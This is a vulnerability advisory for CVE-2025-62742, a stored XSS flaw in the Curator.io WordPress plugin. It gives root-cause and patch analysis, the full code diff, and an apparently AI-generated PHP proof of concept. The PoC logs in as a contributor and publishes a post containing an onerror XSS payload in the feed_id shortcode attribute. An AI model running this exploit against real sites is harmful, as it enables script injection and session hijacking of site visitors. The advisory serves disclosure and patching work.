Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-62742: Curator.io <= 1.9.5 – Authenticated (Contributor+) Stored Cross-Site Scripting (curatorio)

Plugin curatorio
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.9.5
Patched Version 1.9.6
Disclosed December 30, 2025

Analysis Overview

Atomic Edge analysis of CVE-2025-62742:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Curator.io WordPress plugin versions up to and including 1.9.5. The vulnerability exists in the plugin’s feed ID handling mechanism, allowing contributor-level and higher authenticated users to inject malicious scripts that execute when a user views a page containing the compromised feed. The CVSS score of 6.4 reflects the moderate impact requiring authenticated access.

Root Cause:
The vulnerability stems from insufficient input sanitization and output escaping of the feed_id parameter. In the vulnerable version, the setFeed() method in curatorio/inc/feed.php directly assigns user-supplied feed IDs without proper validation. The render() method then outputs these unsanitized values in two locations: within a data-crt-feed-id HTML attribute (line 45) and within a JavaScript src attribute (line 59). The plugin lacked both input validation for feed IDs and proper output escaping when embedding these IDs into HTML and JavaScript contexts.

Exploitation:
An attacker with contributor-level access can exploit this vulnerability by creating or editing a post containing the Curator.io shortcode with a malicious feed_id parameter. The payload would be injected via the [curator-feed feed_id=”PAYLOAD”] shortcode. The malicious feed_id could contain JavaScript payloads like “>alert(document.cookie) or javascript:alert(1) vectors. When any user views the compromised post, the malicious script executes in their browser context, potentially allowing session hijacking or administrative actions.

Patch Analysis:
The patch in version 1.9.6 introduces multiple security improvements. In curatorio/inc/feed.php, the setFeed() method now applies sanitize_text_field() to all feed ID sources (lines 69, 73, 77). It adds a new isValidFeedId() method that validates feed IDs against two regex patterns: alphanumeric with hyphens (20-50 chars) or UUID format. The render() method now uses esc_attr() for HTML attribute contexts (line 45) and esc_js() for JavaScript contexts (line 59). The shortcode.php file adds additional wp_kses() sanitization after filter application (line 16). The settings.php file adds nonce verification for form submissions (lines 88-90).

Impact:
Successful exploitation allows authenticated attackers with contributor privileges or higher to inject arbitrary JavaScript into pages using the Curator.io shortcode. This stored XSS can lead to session hijacking, account takeover, content defacement, or redirection to malicious sites. Since the payload persists in the database, it affects all users who view the compromised page. The vulnerability could enable privilege escalation if an administrator views the malicious content, potentially allowing full site compromise.

Differential between vulnerable and patched code

Code Diff
--- a/curatorio/curator.php
+++ b/curatorio/curator.php
@@ -4,7 +4,7 @@
  *  Plugin URI: https://curator.io/wordpress-plugin/
  *  Description: A free social media wall and post aggregator which pulls together all your media channels in a brandable feed that can be embedded anywhere.
  *  Author: Thomas Garrood
- *  Version: 1.9.5
+ *  Version: 1.9.6
  *  Text Domain: curator
  *  License: GNUGPLv3
  *  @since 1.1
@@ -27,13 +27,13 @@
 		$this->define_constants();
 		$this->includes();

-		$this->dir = WP_DIR;
-		$this->uri = WP_URI;
-		$this->temp_uri = WP_TEMP_URL;
-		$this->stylesheet_dir = WP_STYLESHEET_DIR;
-		$this->stylesheet_uri = WP_STYLESHEET_URL;
+		$this->dir = CURATOR_DIR;
+		$this->uri = CURATOR_URI;
+		$this->temp_uri = CURATOR_TEMP_URL;
+		$this->stylesheet_dir = CURATOR_STYLESHEET_DIR;
+		$this->stylesheet_uri = CURATOR_STYLESHEET_URL;

-		$this->version = '1.9.5';
+		$this->version = '1.9.6';

 		// load include files
 		$this->shortcode = new CuratorShortcode();
@@ -55,18 +55,18 @@
 	}

 	public function includes() {
-		require_once WP_DIR . 'inc/feed.php';
-		require_once WP_DIR . 'inc/settings.php';
-		require_once WP_DIR . 'inc/shortcode.php';
+		require_once CURATOR_DIR . 'inc/feed.php';
+		require_once CURATOR_DIR . 'inc/settings.php';
+		require_once CURATOR_DIR . 'inc/shortcode.php';
 	}

 	public function define_constants() {
 		$defines = array(
-			'WP_DIR' => plugin_dir_path( __FILE__ ),
-			'WP_URI' => plugin_dir_url( __FILE__ ),
-			'WP_TEMP_URL' => trailingslashit( get_template_directory_uri() ),
-			'WP_STYLESHEET_DIR' => trailingslashit( get_stylesheet_directory() ),
-			'WP_STYLESHEET_URL' => trailingslashit( get_stylesheet_directory_uri() ),
+			'CURATOR_DIR' => plugin_dir_path( __FILE__ ),
+			'CURATOR_URI' => plugin_dir_url( __FILE__ ),
+			'CURATOR_TEMP_URL' => trailingslashit( get_template_directory_uri() ),
+			'CURATOR_STYLESHEET_DIR' => trailingslashit( get_stylesheet_directory() ),
+			'CURATOR_STYLESHEET_URL' => trailingslashit( get_stylesheet_directory_uri() ),
 		);

 		foreach( $defines as $k => $v ) {
@@ -98,14 +98,10 @@
     echo wp_kses($widget->render($args), $widget->allowed_html);
 }

-function curator_add_admin_class() {
-    echo '<script type="text/javascript">
-		jQuery(function($){
-            $("#toplevel_page_curator-settings").find("img").css("width","18px");
-        });
-    </script>';
+function curator_add_admin_styles() {
+    echo '<style>#toplevel_page_curator-settings img { width: 18px; }</style>';
 }

-add_action('admin_footer', 'curator_add_admin_class');
+add_action('admin_head', 'curator_add_admin_styles');

 endif;
--- a/curatorio/inc/feed.php
+++ b/curatorio/inc/feed.php
@@ -42,7 +42,7 @@
       $this->args = array_merge($this->args, $args);
       $this->setFeed();

-      $html = '<div id="curator-feed-default" data-crt-feed-id="'.$this->feed_id.'" data-crt-source="wordpress-plugin">';
+      $html = '<div id="curator-feed-default" data-crt-feed-id="'.esc_attr($this->feed_id).'" data-crt-source="wordpress-plugin">';
       if ($this->options['powered_by']) {
           $html .= '<a href="https://curator.io" target="_blank" class="crt-logo">Powered by Curator.io</a>';
       }
@@ -56,7 +56,7 @@
       $html = '<script>';
       $html .= '(function(){';
       $html .= 	'var i, e, d = document, s = "script";i = d.createElement("script");i.async = 1;';
-      $html .= 	'i.src = "https://cdn.curator.io/published/'.$this->feed_id.'.js";';
+      $html .= 'i.src = "https://cdn.curator.io/published/'.esc_js($this->feed_id).'.js";';
       $html .= 	'e = d.getElementsByTagName(s)[0];e.parentNode.insertBefore(i, e);';
       $html .= '})();';
       $html .= '</script>';
@@ -66,15 +66,30 @@
     private function setFeed()
     {
         if (!empty($this->args['feed_id'])) {
-            $this->feed_id = $this->args['feed_id'];
+            $feed_id = sanitize_text_field($this->args['feed_id']);
+            if ($this->isValidFeedId($feed_id)) {
+                $this->feed_id = $feed_id;
+            }
         } else if (!empty($this->args['feed_public_key'])) {
-            $this->feed_id = $this->args['feed_public_key'];
+            $feed_id = sanitize_text_field($this->args['feed_public_key']);
+            if ($this->isValidFeedId($feed_id)) {
+                $this->feed_id = $feed_id;
+            }
         } else if (isset($this->options) && !empty($this->options['default_feed_id'])) {
-            $this->feed_id = $this->options['default_feed_id'];
+            $feed_id = sanitize_text_field($this->options['default_feed_id']);
+            if ($this->isValidFeedId($feed_id)) {
+                $this->feed_id = $feed_id;
+            }
         } else {
             $this->feed_id = $this->DEMO_FEED_ID;
         }
     }
+
+    private function isValidFeedId($feed_id) {
+        // Validate feed ID format (alphanumeric with hyphens, typical Curator.io format)
+        return preg_match('/^[a-zA-Z0-9-]{20,50}$/', $feed_id) ||
+               preg_match('/^[a-f0-9-]{36}$/', $feed_id); // UUID format
+    }
 }

 endif;
--- a/curatorio/inc/settings.php
+++ b/curatorio/inc/settings.php
@@ -30,7 +30,7 @@
             'manage_options',
             'curator-settings',
             array( $this, 'create_admin_page' ),
-            WP_URI . 'images/Curator_Logomark2.svg',
+            CURATOR_URI . 'images/Curator_Logomark2.svg',
             80
         );
 	}
@@ -85,6 +85,11 @@
      */
     public function sanitize( $input )
     {
+        // Verify nonce - WordPress Settings API uses {option_group}-options as action
+        if (!isset($_POST['_wpnonce']) || !wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['_wpnonce'])), 'curator_options-options')) {
+            wp_die('Security check failed');
+        }
+
         $validOptions = [
             'default_feed_id',
             'powered_by',
@@ -142,7 +147,7 @@
         $html .= '<p>Sign up to the <a href="https://app.curator.io/" target="_blank">Curator Dashboard</a> to set up a social feed.</p>';
         $html .= '<p>You'll need your unique <code>FEED_PUBLIC_KEY</code> to use the widgets.<p>
            <p>You can find the <code>FEED_PUBLIC_KEY</code> here:</p>';
-        $html .= '<img src="' . WP_URI . 'images/feed-public-key.png">';
+        $html .= '<img src="' . CURATOR_URI . 'images/feed-public-key.png">';

         echo wp_kses($html, array(
           'h2' => array(),
--- a/curatorio/inc/shortcode.php
+++ b/curatorio/inc/shortcode.php
@@ -13,7 +13,8 @@
 	public function curator_feed( $atts ) {
     $widget = new CuratorFeed();
     $html = wp_kses($widget->render($atts), $widget->allowed_html);
-		return apply_filters( 'wp-shortcode-curator-feed', $html);
+    // Re-sanitize after filter to prevent malicious filter hooks from injecting arbitrary HTML
+    return wp_kses(apply_filters( 'wp-shortcode-curator-feed', $html), $widget->allowed_html);
 	}
 }
 endif;
 No newline at end of file

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-62742 - Curator.io <= 1.9.5 - Authenticated (Contributor+) Stored Cross-Site Scripting

<?php
/**
 * Proof of Concept for CVE-2025-62742
 * Requires contributor-level WordPress credentials
 * Demonstrates stored XSS via feed_id parameter in Curator.io shortcode
 */

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';

// Malicious payload - XSS via data attribute
$malicious_feed_id = '"><img src=x onerror=alert(document.domain)>';

// Create a post with malicious Curator.io shortcode
$post_title = 'Test Post with Malicious Feed';
$post_content = '[curator-feed feed_id="' . $malicious_feed_id . '"]';

// Initialize cURL session
$ch = curl_init();

// Step 1: Authenticate and get WordPress nonce
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);

// Step 2: Extract nonce from post creation page
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_HTTPGET, 1);
$response = curl_exec($ch);

// Extract nonce using regex (simplified - real implementation would parse HTML properly)
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';

if (empty($nonce)) {
    die('Failed to obtain nonce. Authentication may have failed.');
}

// Step 3: Create post with malicious shortcode
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'post_title' => $post_title,
    'content' => $post_content,
    'post_type' => 'post',
    'post_status' => 'publish',
    '_wpnonce' => $nonce,
    '_wp_http_referer' => $target_url . '/wp-admin/post-new.php',
    'action' => 'editpost',
    'post_ID' => '',
    'originalaction' => 'editpost',
    'original_post_status' => 'auto-draft',
    'referredby' => $target_url . '/wp-admin/post-new.php',
    'meta-box-order-nonce' => $nonce,
    'closedpostboxesnonce' => $nonce,
    'save' => 'Publish'
]));

$response = curl_exec($ch);

// Check if post was created successfully
if (strpos($response, 'Post published.') !== false || strpos($response, 'Post updated.') !== false) {
    echo "Success: Malicious post created with XSS payload in feed_id parameter.n";
    echo "Visit the post to trigger the XSS payload.n";
    
    // Extract post URL from response
    preg_match('/<a href="([^"]+)"[^>]*>View post</a>/', $response, $url_matches);
    if (!empty($url_matches[1])) {
        echo "Post URL: " . $url_matches[1] . "n";
    }
} else {
    echo "Failed to create post. Response indicates authentication or permission issues.n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School